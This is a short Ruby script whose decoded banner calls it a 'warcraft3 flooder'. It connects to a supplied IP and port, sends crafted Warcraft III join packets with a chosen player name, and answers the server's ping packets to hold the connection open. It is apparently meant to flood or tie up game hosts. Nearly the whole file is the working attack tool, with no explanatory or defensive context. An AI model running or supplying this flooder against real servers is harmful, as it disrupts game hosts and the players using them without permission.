#ruby <ip> <port>
#ruby 66.77.88.99.11 6115

require "socket"
ARGV.each

newname="c39fc38f474dc385c387" #fancy bigmac longer then 8 char
newname="0909090909090909"
puts newname=ARGV[2].to_s.unpack("H*")
name="693869676d6163"# juck name, 16 length
val="2d".to_i(16)+newname.to_a.pack("H*").length-7
#puts val.to_s(16)
puts "2320693869676d616327732077617263726166743320666c6f6f6465722023".to_a.pack("H*")

TCPSocket.open(ARGV[0],ARGV[1]) {|sock|
sock.print(["f71e#{val.to_s(16)}00c50d00300000000000e01709000000#{newname}000100020017d7c0a8016b0000000000000000"].pack("H*"))
while data=(sock.sysread(65535).unpack("H*"))
        puts data.pack("H*")
                if data.to_s.strip.include?("2e77336d00") == true;
            #puts data.to_s.scan(/2e77336d00......../).to_s[10..15]
            sock.print(["f7420d000100000001#{data.to_s.scan(/2e77336d00......../).to_s[10..15]}00"].pack("H*"))
            end
   if data.to_s.strip.include?("f7010800") == true;
      ping=data.to_s.index("f7010800")
      sock.print(["f7460800#{data.to_s[ping+8..ping+15]}"].pack("H*"))
      #f7010800   works
      #testing f7460800
      else
      sleep 1
   end
end
}